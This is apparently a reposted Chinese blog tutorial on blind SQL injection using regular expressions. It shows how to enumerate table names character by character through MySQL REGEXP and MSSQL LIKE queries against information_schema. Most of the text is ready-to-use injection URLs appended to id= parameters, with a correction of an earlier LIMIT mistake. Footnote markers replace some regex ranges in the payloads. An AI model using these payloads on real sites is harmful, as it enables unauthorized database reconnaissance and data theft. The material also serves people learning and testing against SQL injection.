• [转载]sql 盲注之正则表达式攻击


    -----------------------------------------MYSQL 5+-----------------------------------------

    我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息。故攻击方式如下:

    1. 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。

    注:正则表达式中 [1] 表示字符串中开始字符是在 a-z范围内

    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '[2]' LIMIT 0,1) /*

    1. 判断第一个字符是否是a-n中的字符

    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '[3]' LIMIT 0,1)/*

    1. 确定该字符为n

    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

    1. 表达式的更换如下

    expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

    这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = ’news‘ 不就行了。

    5.接下来猜解其它表了 (只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了)这里是错误的!!!

    regexp匹配的时候会在所有的项都进行匹配。例如:

    security数据库的表有多个,users,email等

    select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的

    select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的

    select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的

    select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确

    select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确

    实验表明:在limit 0,1下,regexp会匹配所有的项。我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。而此时limit 0,1此时是对于where table_schema='security' limit 0,1。table_schema='security'已经起到了限定作用了,limit有没有已经不重要了。

    -----------------------------------------------MSSQL---------------------------------------------------

    MSSQL所用的正则表达式并不是标准正则表达式 ,该表达式使用 like关键词

    default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name LIKE '[a-z]%' )

    该查询语句中,select top 1 是一个组合哦,不要看错了。

    如果要查询其它的表名,由于不能像mysql哪样用limit x,1,只能使用 table_name not in (select top x table_name from information_schema.tables) 意义是:表名没有在前x行里,其实查询的就是第x+1行。

    例如 查询第二行的表名:

    default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_name FROM information_schema.tables) and table_name LIKE '[a-z]%' )

    表达式的顺序:

    'n[a-z]%' -> 'ne[a-z]%' -> 'new[a-z]%' -> 'news[a-z]%' -> TRUE

    之所以表达式 news[a-z]查询后返回正确是应为%代表0-n个字符,使用"_"则只能代表一个字符。故确认后续是否还有字符克用如下表达式

    'news%' TRUE -> 'news_' FALSE

    同理可以用相同的方法获取字段,值。这里就不再详细描述了。


    1. a-z ↩︎

    2. a-z ↩︎

    3. a-n ↩︎

  • 相关阅读:
    面试8:找二叉树的下个结点
    面试8:找二叉树的下个结点
    面试题7:重建二叉树
    面试题7:重建二叉树
    Kenneth A.Lambert著的数据结构(用python语言描述)的第一章课后编程答案
    基础的Mapgis三维二次开发-插件式
    面试题6:从尾到头打印链表
    C语言中声明和定义详解(待看。。
    面试题5:替换空格
    面试题5:替换空格
  • 原文地址:https://www.cnblogs.com/y3w3l/p/6430076.html
Copyright © 2020-2023  润新知